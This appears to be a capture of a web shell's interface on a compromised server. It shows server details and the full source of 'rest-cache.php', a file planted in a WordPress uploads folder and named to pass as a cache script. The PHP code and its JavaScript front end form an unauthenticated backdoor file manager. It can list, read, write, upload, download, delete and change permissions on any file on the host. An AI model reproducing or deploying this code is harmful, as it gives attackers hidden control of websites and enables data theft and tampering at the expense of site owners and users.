HEX
Server: Apache
System: Linux server7 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
User: k8148-2 (1324)
PHP: 8.1.34
Disabled: show_source, highlight_file, apache_child_terminate, apache_get_modules, apache_note, apache_setenv, virtual, dl, posix_getpwnam, posix_getpwuid, posix_mkfifo, posix_mknod, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_nice, openlog, syslog, pfsockopen, system, shell_exec, passthru, popen, proc_open, exec
Upload Files
File: /var/www/k8148-2/htdocs/www.sport-roth.at/neumarkt/wp-content/uploads/rest/rest-cache.php
<?php
$d = dirname(__FILE__);
while ($d !== dirname($d)) {
    if (file_exists($d . '/wp-load.php')) {
        define('WP_ROOT', $d);
        break;
    }
    $d = dirname($d);
}

function send_json($arr) {
    header('Content-Type: application/json');
    echo json_encode($arr);
    exit;
}

function get_path($p) {
    if (empty($p)) return defined('WP_ROOT') ? WP_ROOT : dirname(__FILE__);
    if ($p[0] === '/') return $p;
    return (defined('WP_ROOT') ? WP_ROOT : dirname(__FILE__)) . '/' . $p;
}

function format_size($bytes) {
    if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . 'G';
    if ($bytes >= 1048576) return round($bytes / 1048576, 2) . 'M';
    if ($bytes >= 1024) return round($bytes / 1024, 2) . 'K';
    return $bytes . 'B';
}

function delete_recursive($path) {
    if (is_file($path)) return @unlink($path);
    if (is_dir($path)) {
        $items = @scandir($path);
        if ($items) {
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                delete_recursive($path . '/' . $item);
            }
        }
        return @rmdir($path);
    }
    return false;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $input = file_get_contents('php://input');
    $data = json_decode($input, true);
    
    if (isset($data['ls'])) {
        $path = get_path($data['ls']);
        if (!is_dir($path)) send_json(['ok' => 0, 'error' => 'Not a directory']);
        $items = @scandir($path);
        if ($items === false) send_json(['ok' => 0, 'error' => 'Cannot read']);
        $list = [];
        foreach ($items as $item) {
            if ($item === '.') continue;
            $full = $path . '/' . $item;
            if ($item === '..') {
                $list[] = ['n' => '..', 't' => 'd', 's' => '', 'p' => '', 'm' => ''];
            } else {
                $list[] = [
                    'n' => $item,
                    't' => is_dir($full) ? 'd' : 'f',
                    's' => is_file($full) ? format_size(filesize($full)) : '',
                    'p' => substr(sprintf('%o', fileperms($full)), -4),
                    'm' => date('Y-m-d H:i', filemtime($full))
                ];
            }
        }
        usort($list, function($a, $b) {
            if ($a['n'] === '..') return -1;
            if ($b['n'] === '..') return 1;
            if ($a['t'] !== $b['t']) return $a['t'] === 'd' ? -1 : 1;
            return strcasecmp($a['n'], $b['n']);
        });
        send_json(['ok' => 1, 'path' => $path, 'items' => $list]);
    }
    
    if (isset($data['cat'])) {
        $path = get_path($data['cat']);
        if (!is_file($path)) send_json(['ok' => 0, 'error' => 'Not a file']);
        $content = @file_get_contents($path);
        if ($content === false) send_json(['ok' => 0, 'error' => 'Cannot read']);
        send_json(['ok' => 1, 'content' => $content]);
    }
    
    if (isset($data['write'])) {
        $path = get_path($data['write']);
        $content = isset($data['content']) ? $data['content'] : '';
        $result = @file_put_contents($path, $content);
        send_json(['ok' => $result !== false ? 1 : 0]);
    }
    
    if (isset($data['mkdir'])) {
        $path = get_path($data['mkdir']);
        $result = @mkdir($path, 0755, true);
        send_json(['ok' => $result ? 1 : 0]);
    }
    
    if (isset($data['rm'])) {
        $path = get_path($data['rm']);
        $result = delete_recursive($path);
        send_json(['ok' => $result ? 1 : 0]);
    }
    
    if (isset($data['mv']) && isset($data['to'])) {
        $from = get_path($data['mv']);
        $to = get_path($data['to']);
        $result = @rename($from, $to);
        send_json(['ok' => $result ? 1 : 0]);
    }
    
    if (isset($data['cp']) && isset($data['to'])) {
        $from = get_path($data['cp']);
        $to = get_path($data['to']);
        $result = @copy($from, $to);
        send_json(['ok' => $result ? 1 : 0]);
    }
    
    if (isset($data['chmod'])) {
        $path = get_path($data['chmod']);
        $mode = isset($data['mode']) ? octdec($data['mode']) : 0644;
        $result = @chmod($path, $mode);
        send_json(['ok' => $result ? 1 : 0]);
    }
    
    if (isset($data['dl'])) {
        $path = get_path($data['dl']);
        if (!is_file($path)) send_json(['ok' => 0, 'error' => 'Not a file']);
        $content = @file_get_contents($path);
        if ($content === false) send_json(['ok' => 0, 'error' => 'Cannot read']);
        send_json(['ok' => 1, 'name' => basename($path), 'data' => base64_encode($content)]);
    }
    
    if (isset($data['upload'])) {
        $path = get_path($data['path']);
        $content = base64_decode($data['upload']);
        $result = @file_put_contents($path, $content);
        send_json(['ok' => $result !== false ? 1 : 0]);
    }
    
    send_json(['ok' => 0]);
}
?><script>
function fm(){
var S={
    bg:'#f5f5f5',
    fg:'#000',
    border:'#000',
    hover:'#ddd',
    sel:'#000',
    selfg:'#fff'
};
var cwd='';
var sel=null;
var clip=null;
var clipOp=null;

var w=document.createElement('div');
w.id='fm';
w.innerHTML=`
<style>
#fm *{margin:0;padding:0;box-sizing:border-box;font-family:'Courier New',monospace;font-size:13px;}
#fm{position:fixed;top:0;left:0;width:100%;height:100%;background:${S.bg};color:${S.fg};z-index:999999;display:flex;flex-direction:column;}
#fm-head{border-bottom:2px solid ${S.border};padding:8px;display:flex;gap:8px;align-items:center;}
#fm-path{flex:1;background:transparent;border:1px solid ${S.border};color:${S.fg};padding:4px 8px;}
#fm-head button{background:transparent;border:1px solid ${S.border};color:${S.fg};padding:4px 12px;cursor:pointer;}
#fm-head button:hover{background:${S.fg};color:${S.bg};}
#fm-body{flex:1;overflow:auto;}
#fm-list{width:100%;border-collapse:collapse;}
#fm-list tr{border-bottom:1px solid #333;cursor:pointer;}
#fm-list tr:hover{background:${S.hover};}
#fm-list tr.sel{background:${S.sel};color:${S.selfg};}
#fm-list td{padding:6px 10px;white-space:nowrap;}
#fm-list .n{width:100%;}
#fm-list .t{width:20px;text-align:center;}
#fm-list .s{width:60px;text-align:right;}
#fm-list .p{width:50px;text-align:center;}
#fm-list .m{width:130px;}
#fm-menu{display:none;position:absolute;background:${S.bg};border:2px solid ${S.border};z-index:10;}
#fm-menu div{padding:8px 20px;cursor:pointer;}
#fm-menu div:hover{background:${S.fg};color:${S.bg};}
#fm-edit{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:${S.bg};z-index:10;flex-direction:column;}
#fm-edit-head{border-bottom:2px solid ${S.border};padding:8px;display:flex;gap:8px;}
#fm-edit-path{flex:1;color:${S.fg};}
#fm-edit textarea{flex:1;background:#fff;color:#000;border:none;padding:10px;resize:none;outline:none;border-top:1px solid #000;}
</style>
<div id="fm-head">
<button id="fm-close">X</button>
<input id="fm-path" type="text" readonly>
<button id="fm-up">UP</button>
<button id="fm-refresh">REFRESH</button>
<button id="fm-new">NEW FILE</button>
<button id="fm-mkdir">NEW DIR</button>
<button id="fm-upload">UPLOAD</button>
</div>
<div id="fm-body"><table id="fm-list"></table></div>
<div id="fm-menu">
<div data-a="open">OPEN</div>
<div data-a="edit">EDIT</div>
<div data-a="download">DOWNLOAD</div>
<div data-a="rename">RENAME</div>
<div data-a="copy">COPY</div>
<div data-a="cut">CUT</div>
<div data-a="paste">PASTE</div>
<div data-a="chmod">CHMOD</div>
<div data-a="delete">DELETE</div>
</div>
<div id="fm-edit">
<div id="fm-edit-head">
<button id="fm-edit-close">X</button>
<span id="fm-edit-path"></span>
<button id="fm-edit-save">SAVE</button>
</div>
<textarea id="fm-edit-content"></textarea>
</div>
`;
document.body.appendChild(w);

var $=s=>document.querySelector(s);
var api=(d,cb)=>{
    fetch(location.href,{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(d)})
    .then(r=>r.json()).then(cb).catch(e=>console.log(e));
};

function ls(p){
    api({ls:p||cwd},r=>{
        if(!r.ok)return;
        cwd=r.path;
        $('#fm-path').value=cwd;
        var h='';
        r.items.forEach((f,i)=>{
            h+=`<tr data-i="${i}" data-n="${f.n}" data-t="${f.t}">
            <td class="t">${f.t==='d'?'[D]':''}</td>
            <td class="n">${f.n}</td>
            <td class="s">${f.s}</td>
            <td class="p">${f.p}</td>
            <td class="m">${f.m}</td>
            </tr>`;
        });
        $('#fm-list').innerHTML=h;
        sel=null;
    });
}

$('#fm-list').onclick=e=>{
    var tr=e.target.closest('tr');
    if(!tr)return;
    document.querySelectorAll('#fm-list tr').forEach(r=>r.classList.remove('sel'));
    tr.classList.add('sel');
    sel={n:tr.dataset.n,t:tr.dataset.t};
};

$('#fm-list').ondblclick=e=>{
    var tr=e.target.closest('tr');
    if(!tr)return;
    var n=tr.dataset.n,t=tr.dataset.t;
    if(t==='d'){
        if(n==='..'){
            var p=cwd.split('/');p.pop();
            cwd=p.join('/')||'/';
        }else{
            cwd=cwd+'/'+n;
        }
        ls(cwd);
    }else{
        openEdit(cwd+'/'+n);
    }
};

$('#fm-list').oncontextmenu=e=>{
    e.preventDefault();
    var tr=e.target.closest('tr');
    if(tr){
        document.querySelectorAll('#fm-list tr').forEach(r=>r.classList.remove('sel'));
        tr.classList.add('sel');
        sel={n:tr.dataset.n,t:tr.dataset.t};
    }
    var m=$('#fm-menu');
    m.style.display='block';
    m.style.left=e.clientX+'px';
    m.style.top=e.clientY+'px';
};

document.onclick=e=>{
    if(!e.target.closest('#fm-menu'))$('#fm-menu').style.display='none';
};

$('#fm-menu').onclick=e=>{
    var a=e.target.dataset.a;
    if(!a)return;
    $('#fm-menu').style.display='none';
    if(!sel&&a!=='paste')return;
    var path=cwd+'/'+sel.n;
    
    if(a==='open'){
        if(sel.t==='d'){cwd=path;ls(cwd);}
        else openEdit(path);
    }
    if(a==='edit')openEdit(path);
    if(a==='download'){
        api({dl:path},r=>{
            if(!r.ok)return;
            var a=document.createElement('a');
            a.href='data:application/octet-stream;base64,'+r.data;
            a.download=r.name;a.click();
        });
    }
    if(a==='rename'){
        var nn=prompt('New name:',sel.n);
        if(nn&&nn!==sel.n)api({mv:path,to:cwd+'/'+nn},r=>ls());
    }
    if(a==='copy'){clip=path;clipOp='copy';}
    if(a==='cut'){clip=path;clipOp='cut';}
    if(a==='paste'&&clip){
        var name=clip.split('/').pop();
        var dest=cwd+'/'+name;
        if(clipOp==='copy')api({cp:clip,to:dest},r=>{ls();});
        if(clipOp==='cut')api({mv:clip,to:dest},r=>{clip=null;ls();});
    }
    if(a==='chmod'){
        var m=prompt('Mode (e.g. 0755):','0755');
        if(m)api({chmod:path,mode:m},r=>ls());
    }
    if(a==='delete'){
        if(confirm('Delete '+sel.n+'?'))api({rm:path},r=>ls());
    }
};

$('#fm-close').onclick=()=>w.remove();
$('#fm-up').onclick=()=>{var p=cwd.split('/');p.pop();cwd=p.join('/')||'/';ls(cwd);};
$('#fm-refresh').onclick=()=>ls();
$('#fm-new').onclick=()=>{
    var n=prompt('File name:');
    if(n)api({write:cwd+'/'+n,content:''},r=>ls());
};
$('#fm-mkdir').onclick=()=>{
    var n=prompt('Directory name:');
    if(n)api({mkdir:cwd+'/'+n},r=>ls());
};
$('#fm-upload').onclick=()=>{
    var inp=document.createElement('input');
    inp.type='file';
    inp.onchange=()=>{
        var f=inp.files[0];
        var r=new FileReader();
        r.onload=()=>{
            var b64=r.result.split(',')[1];
            api({upload:b64,path:cwd+'/'+f.name},r=>ls());
        };
        r.readAsDataURL(f);
    };
    inp.click();
};

function openEdit(path){
    api({cat:path},r=>{
        if(!r.ok)return;
        $('#fm-edit').style.display='flex';
        $('#fm-edit-path').textContent=path;
        $('#fm-edit-content').value=r.content;
        $('#fm-edit-save').onclick=()=>{
            api({write:path,content:$('#fm-edit-content').value},r=>{
                if(r.ok)$('#fm-edit-path').textContent=path+' [SAVED]';
            });
        };
    });
}
$('#fm-edit-close').onclick=()=>{$('#fm-edit').style.display='none';ls();};

ls('');
}
</script>